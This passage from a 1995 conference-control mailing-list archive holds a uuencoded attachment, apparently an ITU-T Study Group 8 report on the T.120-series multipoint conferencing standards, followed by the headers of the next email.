M('1H92!B87-I8W,@;V8@8VAA;FYE;"P@=&]K96XL(&%N9"!R96=I<W1R>2!U
M<V4N#0H)5"XQ,C,@+2!!=61I;W9I<W5A;"!0<F]T;V-O;"!3=&%C:W,-"E$Q
M,"\X(&AA9"!I;G1E;F1E9"`H1#(Q-B!1,3`O."!M965T:6YG(')E<&]R="!/
M8W1O8F5R(#$Y.30@:6X@27!S=VEC:"P@54LI('1O(&1R869T(&5N:&%N8V5M
M96YT<R!T;R!4+C$R,R!T;R!U=&EL:7IE('1H92!D871A(&-H86YN96P@<')O
M=FED960@:6X@2"XR,E`@*$Q"0R!V:61E;W!H;VYE(&UU;'1I<&QE>"!L87EE
M<BDL(&)Y(')E<&QA8VEN9R!T:&4@5BXQ-"!L87EE<B!W:71H('1H92!(+C(R
M4"!M=6QT:7!L97@N(%-I;F-E('-T86)L92!T97AT(&9R;VT@43(O,34@9F]R
M($@N,C)0(&%N9"!(+C(T4"A,0D,@=FED96]P:&]N92!C;VYT<F]L(&-H86YN
M96PI('=A<R!N;W0@879A:6QA8FQE(&EN('1I;64@9F]R('1H92!31R`X(&UE
M971I;F<L('1H:7,@9&ED(&YO="!H87!P96XN("!4:&5R92!A<F4@;W1H97(@
M8VAA;&QE;F=I;F<@:7-S=65S('1H870@<F5M86EN('1O(&)E(&1I<V-U<W-E
M9#H@(%-H;W5L9"!T:&4@43$P+S@@87!P<F]A8V@@8F4@=&AE(&-O;6UO;B!D
M96YO;6EN871O<B!N;W<@<')E<V5N="!I;B!4+C$R,RP@=VAI8V@@87!P;&EE
M<R!E<75A;&QY('1O('1H92!U<V4@;V8@05-61"!A;F0@1%-61"P@;W(@<VAO
M=6QD(&ET(&)E('-P96-I86QI>F5D('1O(&1E<FEV92!V86QU92!F<F]M('1H
M92!!9&%P=&%T:6]N($QA>65R(&]F($@N,C)0/R`@268@=&AE(&QA='1E<BP@
M8V%N(%$Q,"\X(&5L:6UI;F%T92!R961U;F1A;F-Y(&]F(')E=')A;G-M:7-S
M:6]N('!R;W1O8V]L<S\@($%L;"!T:&%T('=A<R!A9W)E92!I<R!T;R!E;F-O
M=7)A9V4@=&AE('5S92!O9B!6+CAB:7,@87,@86X@875T;VUA=&5D('=A>2!T
M;R!E>&-H86YG92!M;V1E;2!A;F0@;75L=&EP;&5X97(@8V%P86)I;&ET:65S
M(&%N9"!T;R!S96QE8W0@82!C;VUM;VX@;W!E<F%T:6YG(&UO9&4N("!1,3`O
M."!D;V5S(&YO="!I;G1E;F0@=&\@:6YT<G5D92!O;B!T:&4@9&ES8W5S<VEO
M;G,@8F5T=V5E;B!31R`Q-"!A;F0@4T<@,34@8V]N8V5R;FEN9R!H87)M;VYI
M>F5D(&]P97)A=&EO;B!O9B!T:&4@;75L=&EP;&5X(&QA>65R+@T*5$0M,#`U
M-R!F<F]M(%$R,2\W("A/4TD@07!P;&EC871I;VX@3&%Y97(I(&%N9"!1,C(O
M-R`H3U-)(%!R97-E;G1A=&EO;B!A;F0@4V5S<VEO;B!,87EE<G,I(%)A<'!O
M<G1E=7)S(&UE971I;F<@=V%S(&%C8V5P=&5D(&9O<B!I;F9O<FUA=&EO;BX@
M(%1$+3`P-3<@9&ES8W5S<V5S(&UE8VAA;FES;7,@=&\@:6UP<F]V92!/4TD@
M=7!P97(@;&%Y97(@<')O=&]C;VP@969F:6-I96YC>2!F;W(@87!P;&EC871I
M;VYS('-U8V@@87,@($<T(&9A8W-I;6EL92X@5&\@<W5P<&]R="!W;W)K(&EN
M(%$Q-2\X(&]N($-O;W!E<F%T:79E($1O8W5M96YT($AA;F1L:6YG+"!1,3`O
M."!W:7-H97,@=&\@8V]M<&QE=&4@=&AE(&9U;&P@<V5V96XM;&%Y97(@97AT
M96YD960@;6]D92!P<F]T;V-O;"!S=&%C:W,@;V8@5"XQ,C,L('=H:6-H(&YO
M=R!A<F4@;6%R:V5D(&9O<B!F=7)T:&5R('-T=61Y+B`@5V%Y<R!O9B!M86MI
M;F<@3U-)(&UO<F4@969F:6-I96YT+"!T:')O=6=H(&UI;FEM86P@3U-)(&9U
M;F-T:6]N86QI='D@;W(@9F%S="!B>71E<R!D<F%F="!R96-O;6UE;F1A=&EO
M;G,@9G)O;2!31S<@;F]T960@:6X@5$0M,#`U-RP@87!P96%R(')E;&5V86YT
M('1O('1H:7,@<W1U9'DN#0I41"TR,30X("A.+B!+96YY;VX@0E0@3&%B<RD@
M5&AI<R!N;W1E<R!T:&4@;F5E9"!F;W(@82!S=&%N9&%R9"!T;R!G;W9E<FX@
M<VEG;F%L<R!F;&]W:6YG(&]N(&$@5BXR-"!I;G1E<F9A8V4@8F5T=V5E;B!P
M97)S;VYA;"!C;VUP=71E<B!A;F0@=FED96]T96QE<&AO;F4@9F]R('1H92!P
M=7)P;W-E+"!A;6]N9R!O=&AE<G,L(&]F(&-O;G9E>6EN9R!4+C$R,"!S97)I
M97,@<')O=&]C;VP@9&%T82X@($QO8V%L(&UE<W-A9V5S(&%R92!E;G9I<VEO
M;F5D(&9O<B!M86YA9V5M96YT(&]F('1H92!D871A('!O<G0@:6YT97)F86-E
M+"!F;W(@8V%L;"!C;VYT<F]L+"!A;F0@9F]R(&%U9&EO=FES=6%L(&-O;G1R
M;VPN("!!='1A8VAE9"!T;R!41"TR,30X(&ES(&$@<')O<&]S86P@9G)O;2!.
M;W)W96=I86X@5&5L96-O;2!T;R!U<V4@=&AE(&QO=R!S<&5E9"!D871A("A,
M4T0I(&-H86YN96P@=VET:&EN($@N,C(Q(&9R86UE9"!S:6=N86QS('1O(&5M
M=6QA=&4@5BXR-"!A='1A8VAE9"!M;V1E;7,N("!!;'-O(&%T=&%C:&5D(&ES
M(&$@<')O<&]S86P@9G)O;2!.+B!+96YY;VX@<')O<&]S:6YG(&$@=FED96]T
M96QE<&AO;F4@9&%T82!P;W)T('5S:6YG(%0N,3(P(&EN('1H92!-3%`@8VAA
M;FYE;"P@<W5G9V5S=&EN9R!T:&%T('1H92!-3%`@*&UU;'1I(&QA>65R('!R
M;W1O8V]L(&UU;'1I<&QE>&5D(&EN=&\@=&AE($@N,C(Q(&9R86UE('-T<G5C
M='5R92D@8VAA;FYE;"!C;W5L9"!O<&5R871E('5P('1O(#,R:V)I="]S('=I
M=&@@=&AE(%8N,C0@8VAA;FYE;"!O<&5R871I;F<@870@,S@N-&MB:70O<RX@
M5&AE(&QI86ES;VX@<F5P;'D@9G)O;2!1,3`O."!T;R!31S$U("AC;W!Y(&%L
M<V\@=&\@4T<@,30I(&ES(%1$+3(Q.#`N("!4:&ES(&YO=&5S('1H870@43$P
M+S@@97AP96-T<R!T:&%T('1H97D@=VEL;"!U<V4@<W1A<G0O<W1O<"!F<F%M
M:6YG(&]F(%$N.3(R("A,05`M1BD@9&%T82!L:6YK<R!A;F0@<W!E8VEF>2!U
M;G5S960@1$Q#27,@9F]R(&UA;F%G96UE;G0@86YD(&%U9&EO('9I<W5A;"!C
M;VYT<F]L+B`-"E1H:7,@=V]R:R!I<R!C;&]S96QY(')E;&%T960@=&\@5"XQ
M,C,@86YD('=I;&P@8F4@:&%N9&QE9"!F;W(@=&AE('1I;64@8F5I;F<@87,@
M86X@07!P96YD:7@N("!)="!M97)I=',@9G5R=&AE<B!D:7-C=7-S:6]N('=H
M971H97(@=&AE('!R;W!O<V5D(&EN=&5R9F%C92!S:&]U;&0@8F4@82!N;W)M
M871I=F4@;6%T=&5R(&9O<B!S=&%N9&%R9&EZ871I;VXN#0I41"TR,30Y(&9R
M;VT@4T<Q-2!1,B!I<R!A(')E<75E<W0@(&9O<B!C;VUM96YT<R!O;B!(+C(T
M6"!P<F]T;V-O;"!S=&%C:W,@:6X@=&AE(&EN=&5R97-T(&]F(&AA<FUO;FEZ
M:6YG('=I=&@@=&AA="!O9B!T:&4@5"XQ,C`@<V5R:65S+B!4:&ES('-U9V=E
M<W1S(&EN=')O9'5C:6YG(%@N,C(T($-L87-S(#`@86)O=F4@=&AE($Q!4"U-
M('1O('!R;W9I9&4@82!8+C(Q-"!S97)V:6-E+B!);B!T:&4@43$P(&UE971I
M;F<@:70@=V%S(')E;6%R:V5D('1H870@:68@43(O,34@:7,@86)L92!T;R!C
M;VUB:6YE($@N,C18(&%N9"!(+C(T4"`H=7-I;F<@3$%0+4TI(&EN=&\@;VYE
M(&1O8W5M96YT+"!A(&YE=R!I<W-U92!W:6QL(&%R:7-E(&]V97(@:&%R;6]N
M:7II;F<@4%-43B!S=&%C:W,N(%1H92!L:6%I<V]N(')E<&QY('1O(%-'(#$U
M(&ES(%1$+3(Q.#$@=VAI8V@@;F]T97,@=&AA="!1,3`O."!W:6QL(')E=FEE
M=R!T:&4@:7-S=64@9G5R=&AE<BX-"@E4+C$R-"`M($=E;F5R:6,@0V]N9F5R
M96YC92!#;VYT<F]L#0I4:&4@86UE;F1M96YT<R!I;F-L=61E9"!I;B!$,C0X
M("A297!O<G0@;V8@=&AE(%$Q,"!M965T:6YG($9E8G)U87)Y(#8M,3`L(#$Y
M.34@:6X@27)V:6YE+"!#02D@(&%N9"!41"TR,34T('=E<F4@<F5A9F9I<FUE
M9"X@(%1$+3(Q-30@*%)A<'!O<G1E=7(I(&UA:V5S(&-L96%R('=H:6-H('-I
M9&4@;V8@82!C;VYN96-T:6]N(&UU<W0@86-T('1O(&%V;VED(&1E861L;V-K
M(&1U<FEN9R!C;VYF97)E;F-E(&5S=&%B;&ES:&UE;G0N("!!;'-O(&ET(&5L
M979A=&5S('1H92!N;W1I;VX@;V8@;75L=&EP;W)T('1E<FUI;F%L("AP<F5V
M:6]U<VQY(%1E<FUI;F%L+TU#52D@;6ED=V%Y(&)E='=E96X@=&5R;6EN86P@
M86YD($U#52!A;F0@8V]M<&QE=&5S('1H92!C;VYF97)E;F-E(&5S=&%B;&ES
M:&UE;G0@<V-E;F%R:6]S('1O(&-O=F5R(&-O;FYE8W1I;VYS(&)E='=E96X@
M='=O(&UU;'1I<&]R="!T97)M:6YA;',N("!$,C4W(&9R;VT@0E0L($-H86QL
M96YG92U297-P;VYS92!087-S=V]R9&EN9R!W:71H:6X@5"XQ,C0L('=A<R!R
M97=R:71T96X@=&\@9&5T86EL('1H92!C:&%N9V5S(')E<75I<F5D+"!I;7!R
M;W9E9"!T:')O=6=H(&9U<G1H97(@9&ES8W5S<VEO;BP@86YD(&%D;W!T960@
M8GD@82!P;'5R86QI='D@=F]T92X@($1I<V-U<W-I;VX@;V8@1#(X-B!F<F]M
M($9R86YC92!496QE8V]M+"!-;V1I9FEC871I;VX@;V8@8V%L;"!C;VYT<F]L
M(&5L96UE;G1S+"`@9&5M;VYS=')A=&5D(&$@;F5E9"!F;W(@;6]R92!E>'!L
M86YA=&EO;B!O9B!N971W;W)K(&%D9')E<W,@:6X@=&AE('-E<G9I8V4@9&5S
M8W)I<'1I;VXL(&)U="!N;R!C:&%N9V5S(&EN('1H92!!4TXN,2!W97)E('5L
M=&EM871E;'D@<F5Q=6ER960N("!4:&4@961I=&]R:6%L(&-O<G)E8W1I;VYS
M(&]F(%1$+3(Q-3(@*%)A<'!O<G1E=7(I('=E<F4@86-C97!T960N#0I4:&4@
M8F%S92!D;V-U;65N="!F;W(@5"XQ,C0@:7,@0T]-(#@M-C,N("!4:&4@9FEN
M86P@<F5V:7-I;VYS(&%R92!P<F5S96YT960@:6X@5$0M,C$X-"X@(%0N,3(T
M(&ES('-U8FUI='1E9"!F;W(@9&5C:7-I;VX@=6YD97(@4F5S;VQU=&EO;B!.
M;RX@,2!A="!T:&ES(&UE971I;F<N#0I4+C$R-B`M($UU;'1I<&]I;G0@4W1I
M;&P@26UA9V4@86YD($%N;F]T871I;VX@4')O=&]C;VP-"E1H92!A;65N9&UE
M;G1S('1O(%0N,3(V(&EN8VQU9&5D(&EN($0R-#@@*%)E<&]R="!O9B!T:&4@
M43$P(&UE971I;F<@1F5B<G5A<GD@-BTQ,"P@,3DY-2!I;B!)<G9I;F4L($-!
M*2!W97)E(')E869F:7)M960N("!4:&4@4F%P<&]R=&5U<G,@<')O<&]S86P@
M;V8@5$0M,C$U,R!T;R!A9&0@<W5P<&]R="!F;W(@,C0M8FET(%)'0B!*0DE'
M(&5N8V]D960@:6UA9V5S('=A<R!W;W)K960@;W5T('1O(&$@<VUA;&P@;G5M
M8F5R(&]F(&1E=&%I;&5D(&-H86YG97,L(&%N9"!T:&5S92!W97)E(&%C8V5P
M=&5D+B`@5&AE('!R961O;6EN871E;'D@961I=&]R:6%L(&-O;6UE;G1S(&EN
M($0R-S0@*&9R;VT@2F%P86YE<V4@97AP97)T<R!G<F]U<"D@=V5R92!A<'!R
M96-I871E9"!A;F0@=V5R92!W;W)K960@:6YT;R!T:&4@9&]C=6UE;G0N#0I$
M+3(V.2!W:&EC:"!P<F]P;W-E<R!C:&%N9V5S('1O(%0N-#(@9F]R('-O9G0@
M8V]P>2!A;F0@8V]L;W(@<F5P<F]D=6-T:6]N('=A<R!D:7-C=7-S960@:F]I
M;G1L>2!W:71H(%$T("AS964@430@<F5P;W)T*2X@5"XQ,C8@<W!E8VEF:65S
M(%E#8D-R(&%N9"!O<'1I;VYA;&QY(%0N-#(@*$-)14Q!0BDL('=H:6QE(%0N
M-#(@<W!E8VEF:65S($-)14Q!0B!C;VQO<B!S<&%C92!O;FQY+B`@1'5R:6YG
M(&5D:71I;F<@;V8@5"XQ,C8L(&1E9FEN:71I;VYS(&]F(%E#8D-R(&)A<V5D
M(&]N('9I9&5O('-T86YD87)D<RP@9V%M;6$L('=H:71E('!O:6YT(&%N9"!M
M;VYI=&]R('!R:6UA<FEE<R!W97)E(&1E<V-R:6)E9"X-"D0R-30@*%-I96UE
M;G,L($YE960@9F]R(&AA<FUO;FEZ871I;VX@8F5T=V5E;B!D<F%F="!4+C$R
M-B!A;F0@5"XX-"D@;F]T97,@=&AA="!4+C$R-B!I<R!S8VAE9'5L960@9F]R
M(&1E8VES:6]N(&%T('1H:7,@;65E=&EN9R!O9B!31S@L('=H:6QE(%0N.#0@
M*$I014<@97AT96YS:6]N<RD@:7,@861V86YC:6YG(&EN($E33R])14,@=&\@
M82!$25,@8F%L;&]T(&%N9"!I<R!P<F]P;W-E9"!F;W(@9&5T97)M:6YA=&EO
M;B!A="!T:&ES(&UE971I;F<N(%1H:7,@=V%S(')E<V]L=F5D('1H<F]U9V@@
M82!J;VEN="!M965T:6YG('=I=&@@43$V+S@N("!)="!W87,@8VQA<FEF:65D
M('1H870@5"XQ,C8@=7-E<R!4+C@Q*$I014<I(&%S(&%N(&EN=&5R;F%L(&9O
M<FUA="!F;W(@:6UA9V4@=')A;G-M:7-S:6]N(&EN(&$@;75L=&EP;VEN="!C
M;VYF97)E;F-E(&%N9"!T:&%T(&ET(&1O97,@;F]T('-P96-I9GD@;&]C86P@
M;6%T=&5R<R!L:6ME(&EM<&]R="]E>'!O<G0@=&\@;W1H97(@8V]R97-I9&5N
M="!A<'!L:6-A=&EO;G,N("!(;W=E=F5R+"!B96-A=7-E(%0N.#0@:7,@82!C
M;VUP871I8FQE(&5X=&5N<VEO;BP@:6UP;&5M96YT97)S(&-O=6QD(&-H;V]S
M92!T;R!U<V4@;VYL>2!T:&ES(&9O<FUA="!F;W(@=&AE:7(@=')A;G-M:7-S
M:6]N<RX-"E1H92!B87-E(&1O8W5M96YT(&9O<B!4+C$R-B!I<R!#3TT@."TV
M-BX@(%1H92!F:6YA;"!R979I<VEO;G,@87)E('!R97-E;G1E9"!I;B!41"TR
M,3@U+B`@5"XQ,C8@:7,@<W5B;6ET=&5D(&9O<B!D96-I<VEO;B!U;F1E<B!2
M97-O;'5T:6]N($YO+B`Q(&%T('1H:7,@;65E=&EN9RX-"C0N,BXV"50N,3(W
M("T@375L=&EP;VEN="!":6YA<GD@1FEL92!4<F%N<V9E<B!0<F]T;V-O;`T*
M5&AE(&%M96YD;65N=',@=&\@5"XQ,C8@:6YC;'5D960@:6X@1#(T."`H4F5P
M;W)T(&]F('1H92!1,3`@;65E=&EN9R!&96)R=6%R>2`V+3$P+"`Q.3DU(&EN
M($ER=FEN92P@0T$I('=E<F4@<F5A9F9I<FUE9"X@1#(Q,R`H075S=')I82P@
M1G)A;F-E*2QP<F]P;W-E<R!U<VEN9R!%5%,@,S`P(#,X,R`H8V]P>2!I;F-L
M=61E9"DL($5U<F]F:6QE+"!W:&EC:"!I<R!E<75I=F%L96YT('1O(%0N,3`Q
M($%N;F5X($,@<&%R="`Y+B`@270@=V%S(&YO=&5D('1H870@=&AE(&5D:71O
M<B!H860@<F5S96%R8VAE9"!%=7)O9FEL92!T<F%N<V9E<BP@86YD(&ET('=A
M<R!D:7-C=7-S960@870@;65E=&EN9W,@:6X@,3DY-"!A;F0@=&AI<R!W87,@
M82!S=&EM=6QU<R!F;W(@861D:6YG(')E;6]T92!D:7)E8W1O<GD@;&ES=&EN
M9R!F96%T=7)E<R!T;R!4+C$R-RX@($0R,C<@9G)O;2!"5"!P<F]P;W-E<R!R
M96UO=FEN9R!S=7!P;W)T(&9O<B!O<'1I;VYA;"!U<V4@;V8@5BXT,F)I<R!C
M;VUP<F5S<VEO;B!S:6YC92!N97<@<&%T96YT(&ES<W5E<R!H879E(&1E=F5L
M;W!E9"X@270@=V%S(&YO="!A9&]P=&5D+B`@3F\@<')O8FQE;2!I<R!S965N
M(&%S('1H92!U<V4@;V8@5BXT,F)I<R!I<R!O<'1I;VYA;#L@=&AE('1E>'0@
M=VEL;"!B92!R97=O<F1E9"!I;B!P;&%C97,@=&\@96UP:&%S:7IE('1H:7,N
M("!3:6YC92!N;R!E<75A;&QY(&=O;V0@8V]M<')E<W-I;VX@<W1A;F1A<F0@
M97AI<W1S+"!1,3`@:&]P960@=&AA="!L:6-E;G-I;F<@:7-S=65S('=I;&P@
M8F4@<F5S;VQV960@<75I8VML>2X@(%1H92!C;VUM96YT<R!O9B!$,C<U("A*
M87!A;BD@87)E(&%P<')E8VEA=&5D(&%N9"!W97)E('=O<FME9"!I;G1O('1H
M92!D;V-U;65N="X-"E1H92!B87-E(&1O8W5M96YT(&9O<B!4+C$R-R!I<R!#
M3TT@."TY,BX@(%1H92!F:6YA;"!R979I<VEO;G,@87)E('!R97-E;G1E9"!I
M;B!41"TR,3@V+B`@5"XQ,C<@:7,@<W5B;6ET=&5D(&9O<B!D96-I<VEO;B!U
M;F1E<B!297-O;'5T:6]N($YO+B`Q(&%T('1H:7,@;65E=&EN9RX-"E0N,3(X
M("T@075D:6\@5FES=6%L($-O;G1R;VP@9F]R($UU;'1I<&]I;G0@375L=&EM
M961I82!3>7-T96US("A4+D%60RD-"D0R-S(@*$)4*2!D<F%F="!4+D%60R!I
M<R!E<W-E;G1I86QL>2!U;F-H86YG960@9G)O;2!T:&4@:6YT97)I;2!M965T
M:6YG+B`@4VEN8V4@5"XQ,C@@:7,@82!H:6=H('!R:6]R:71Y+"!I="!I<R!P
M<F]P;W-E9"!T;R!F;W)M(&%N(&%D(&AO8R!E9&ET;W(G<R!G<F]U<"!T;R!P
M<F]G<F5S<R!T:&4@=V]R:R!T;W=A<F1S(&1E=&5R;6EN871I;VX@870@=&AE
M(&YE>'0@;65E=&EN9R!O9B!31R`X+@T*5$0M,C$S."`H;&EA:7-O;B!F<F]M
M(%-',2!O;B!M=6QT:7!O:6YT('-E<W-I;VX@;W!E<F%T:6]N(&%N9"!P<F]C
M961U<F5S*2!A;FYO=6YC97,@=&AE(&EN=&5N=&EO;B!O9B!1,C`O,2!T;R!R
M97!L86-E($8N-S`Q('1E;&5C;VYF97)E;F-E+"!&+C<Q,"!A=61I;V=R87!H
M:6,@8V]N9F5R96YC92!A;F0@1BXW,S`@=FED96\@8V]N9F5R96YC92!S97)V
M:6-E<R!W:71H(&$@<VEN9VQE(%)E8V]M;65N9&%T:6]N(&%N9"!H87)M;VYI
M>F4@=&AE:7(@8V]N=&5N=',N(%1$+3(Q-#<@*&QI86ES;VX@9G)O;2!31R`Q
M-2!R97!O<G1S(&1E8VES:6]N<R!O;B!C;VYT:6YU;W5S('!R97-E;F-E('9I
M9&5O*2X@(%-',34@9&5C:61E9"!T;R!S=&%N9&%R9&EZ92!S8W)E96X@;&%Y
M;W5T(&%N9"!S=6(M<&EC='5R92!N=6UB97)I;F<@8G5T('1O(&QE879E(&UO
M<W0@;V8@=&AE('!I8W1U<F4@8V]M<&]S:71I;VX@8V]N=')O;"!T;R!4+D%6
M0RX@($ET(&EN8VQU9&5S(&$@;&ES="!O9B!S=6=G97-T960@8V]M;6%N9',N
M("!4:&5S92`@='=O(&QI86ES;VX@=V5R92!R979I97=E9"!A;F0@87)E(&-O
M;G-I9&5R960@8V]N<VES=&5N="!W:71H(%$Q,"\X)W,@97AP96-T871I;VX@
M9F]R('1H92!C;VYT96YT(&%N9"!C;W9E<F%G92!O9B!4+C$R."X@(%1H92!L
M:6%I<V]N(')E<&QI97,@87)E(%1$+3(Q-S8@86YD(%1$+3(Q-SD@<F5S<&5C
M=&EV96QY+@T*5"Y215,@+2!#;VYF97)E;F-E(%)E<V5R=F%T:6]N(%!R;W1O
M8V]L<PT*5&AE('=O<FL@<')O8V5E9',@=6YD97(@82!N97<@961I=&]R(&EN
M('1H92!D:7)E8W1I;VYS(&EN9&EC871E9"!B>2!$,C@W+B`3<WEM8F]L(#$X
M,R!<9B`B4WEM8F]L(A05("!$,C@W("A&<F%N8V4@5&5L96-O;2D@EB!0<F]P
M;W-A;"!F;W(@5"Y215,N("!4:&ES(&YO=&5S('1H870@82!R97-E<G9A=&EO
M;B!S>7-T96T@:7,@97-P96-I86QL>2!U<V5F=6P@:68@:70@8V%N(&)E(&%C
M8V5S<V5D(&)Y(&$@8W5S=&]M97(@8W5R<F5N=&QY(&5N9V%G960@:6X@82!C
M;VYF97)E;F-E(&9O<B!O<&5R871I;VYS('-U8V@@87,@97AT96YD:6YG('1H
M92!T:6UE(&]R(&%D9&EN9R!N97<@8V]N9F5R965S+B`@270@:G5D9V5S('1H
M870@=&AE(&-U<G)E;G0@:61E82!O9B!M;V1E;&EN9R!T:&4@<F5S97)V871I
M;VXM=&\M34-5(&EN=&5R9F%C92!O;B!8+C<P,"!#34E312!I<R!N;W0@861A
M<'1E9"!F;W(@<W5C:"!T<F%N<V%C=&EO;F%L(&-O;6UU;FEC871I;VXN("!)
M="!P<F]P;W-E<R!A(&YE=R!S='5D>2!O9B!C;VYF:6=U<F%T:6]N<R!I;G9O
M;'9I;F<@;75L=&EP;&4@<F5S97)V871I;VX@<WES=&5M<R!A;F0@;75L=&EP
M;&4@34-5<RX@($ET(&ED96YT:69I97,@86X@97AP;&EC:70@<&AA<V4@;V8@
M;W!E<F%T:6]N(&EN('=H:6-H('1H92!C=7-T;VUE<B!B:6YD<R!T;R!T:&4@
M87!P<F]P<FEA=&4@<F5S97)V871I;VX@<V5R=F5R+B`@270@87-K<R!T;R!W
M:&%T(&5X=&5N="!T:&4@<F5S=6QT:6YG(&EN=&5R9F%C92!S:&]U;&0@8F4@
M9G5N8W1I;VYA;&QY(&]R:65N=&5D(&%N9"!C;&]S92!T;R!T:&4@<V5M86YT
M:6-S(&]F(')E<V5R=F%T:6]N+@T*#0H,(`T*EB`3<&%G92`4-14@E@T*#0H-
M"@T*'W,!`'0!`'8!>(8%@`*(`0",PD&-H`6.H`60L@:12P$`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````"``0``VP$``*$%``"L!0``O04`
M`,<%```&!@``(@8``#P&``!1!@``4@8``%0&``!G!@``S08``-8&``"`"```
MP`@``#8*```X"@``:@H``-@*``#:"@``-@L``#@+``!6"P``=`L``*L-``#@
M#0``L!$``-\1``!;$P``@1,``)L@``#`(```U2$``.<A```!)0``.24``&`K
M``"8*P``_"X``)XO``#F+P``BC,``+0S``#^,P``_S,``!4T```7-```,30`
M`$0T``#S-@``]38``/8V``#[-@``_#8``/TV``#^-@``!#<```8W```(-P``
M``#\`/D`]@#S`/(``/$```#P``#O`.X`Z````````````.<``````.8`````
MY`#B`.$``-\`W0#;`-D`````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````,``$("``(``@`"``(``@`!`@(``@`"``(``0$!`@H```@`
M```````@``$"`0(!`@$!`0$%`0`"``8%`0`"``8%`0`"``8%`0`"``8`/(`!
M``"I`0``VP$``$X#```H!0``5`8``&<&``"4!@``T`8``#P'``"`"```P`@`
M`"8)``"R"0``.`H``&H*``#:"@``.`L``%8+``!;"P``:@L``'(+``!T"P``
M>PL``*<+``"S"P``M0L``+P+``#:"P``Y`L``.8+``#M"P``!0P``!$,```3
M#```&@P``/GY\/#PZN#8V-C3S<W-R,+"O;>WMZ:@H*"/B8F)>')R<F%;````
M!0`````````8`0``$``````````5```8`1D!D@$`E&P`F@H``W4"#P=5&\4A
M``4`````````&`$``!``````````%0``&`$9`9(!`)1L`)H*``-U`@\'51O%
M(0`%`````````!@!```0`````````!4``!@!&0&2`0"4;`":"@`#=0(/!U4;
MQ2$`!0`````````8`0``$``````````5```8`1D!D@$`E&P`F@H``W4"#P=5
M&\4A``4`````````&`$```3]```````````%`````````!'0`@`$_0``````
M````!0`````````1T`(`!/T```````````<`````````$=`"%?`````)````
M``````\%``&H#``1T`(```7^````````%>`!``@`````````$*;_$=`"%?``
M``;^````````!0$5X`$C&@P``#<,``!!#```0PP``$H,``!F#```=`P``'8,
M``!]#```F0P``*,,``"E#```K`P``-P,``#G#```Z0P``/`,```:#0``)`T`
M`"8-```M#0``90T``'$-``!S#0``>@T``)P-``"I#0``JPT``.`-``!Q$```
ML!$``/KZZ>/CX]+,S,R[M;6UI)Z>GHV'AX=V<'!P7UI45```````````````
M````!0`````````1T`(`!/T``````````!``````````%0``&`$9`9(!`)1L
M`)H*``-U`@\'51O%(0`%`````````!@!```0`````````!4``!@!&0&2`0"4
M;`":"@`#=0(/!U4;Q2$`!0`````````8`0``$``````````5```8`1D!D@$`
ME&P`F@H``W4"#P=5&\4A``4`````````&`$``!``````````%0``&`$9`9(!
M`)1L`)H*``-U`@\'51O%(0`%`````````!@!```0`````````!4``!@!&0&2
M`0"4;`":"@`#=0(/!U4;Q2$`!0`````````8`0``$``````````5```8`1D!
MD@$`E&P`F@H``W4"#P=5&\4A``4`````````&`$``!``````````%0``&`$9
M`9(!`)1L`)H*``-U`@\'51O%(0`%`````````!@!`!ZP$0``WQ$``%L3``"!
M$P``B!<``.@9``#L'0``N1X``)L@``#`(```7R0```$E```Y)0``V"8``#8H
M``"^*@``8"L``)@K``#\+@``GB\``.8O``#),```BC,``+0S``#M-@``[S8`
M`/,V```"-P``!#<```8W```(-P``^_7PZNKJZNKEW]_:U-34U,_)P[ZXN+.M
MK:.=G9>-````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````````````)
M``````````4!"`$5X`$6:`$```4`````````%0````7S````````!0$```D`
M````````!0$(`17@`19H`0``!0`````````1T`(`!/T```````````4`````
M````$=`"``3]```````````%_0```````!'0`@`%`````````!'0`@`$_0``
M````````!0`````````1T`(`!/T```````````4`````````$=`"``3]````
M```````%`````````!'0`@`$_0``````````!0`````````1T`(`!/T`````
M````'@X`(@```/___P`````````````(96YU;6QE=C$'4F5C7TYU;6P```#_
M__\%`@`"``,%`@`"``,*```*``,`````(`4!``(``PH```X``P`8```@!P$`
M!@`#`!@'`0`$````%@<!``0````8``X``$8`!``4```````)!`X``$0````6
M```````)"`4```(``\X`$?(````````/"``"X!#`(0$"$?,````````/"``"
MX!#`(0$"____"O<````````1T`(*^````````!'0`@KY````````$=`""OH`
M```````1T`(*^P```````!%H`0K\````````$6@!#/T````````(`16T``S^
M````````"`$5\``*_P```````!'0`@H`````````%7@`(`$````````/#@`$
M&@.G!#0&P0<`````$:<$$W/^%58`$0(````````/!0`!T`(#%0``$0#R`/,`
M````````_P#_`/\`_P#_`/\``````/\``-X!``(``````(@U``````@W````
M````$0```!,```"``0``"#<``!P`@`$```@W```=`%8`"A``5&US(%)M;@`)
M8`!3>6UB;VP`!R``2&5L=@`2$`!4:6UE<R!.97<@4F]M86X`""``07)I86P`
M"Q``35,@4V5R:68`#C``0V]U<FEE<B!.97<``'XR``"5,@``EC(``(<U```3
M.13_%00"````"`````H```"'-0``$R$4_Q4`!@`!80%C`1(``*XN``"(-0``
M```!``$2``"N+@``B#4``"(``@`#`R````#0`@``````````PR/T!2PZ]`4`
M````"`#Q`0``OVX```H```!)$0````!R````4$E452"6(%1E;&5C;VUM=6YI
M8V%T:6]N(%-T86YD87)D:7IA=&EO;B!396-T;W()"51E;7!O<F%R>2!$;V-U
M;65N="!.;RX@(#(Q.#@@4F5V````#$ME;B!+<F5C:&UE<@Q+96X@2W)E8VAM
M97(`````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
F````````````````````````````````````````````````````
`
end


From owner-confctrl@ISI.EDU  Wed Apr 12 11:40:52 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18116>; Wed, 12 Apr 1995 18:41:02 -0700
Received: from osi-west.es.net by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18109>; Wed, 12 Apr 1995 18:40:58 -0700
Received: from viipuri.nersc.gov by osi-west.es.net with ESnet SMTP (PP);
          Wed, 12 Apr 1995 18:40:53 -0700
Received: by viipuri.nersc.gov (4.1/ESnet-1.2) id AA16607;
          Wed, 12 Apr 95 18:40:52 PDT
Date: Wed, 12 Apr 95 18:40:52 PDT
From: ari@es.net (Ari Ollikainen)
Message-Id: <9504130140.AA16607@viipuri.nersc.gov>
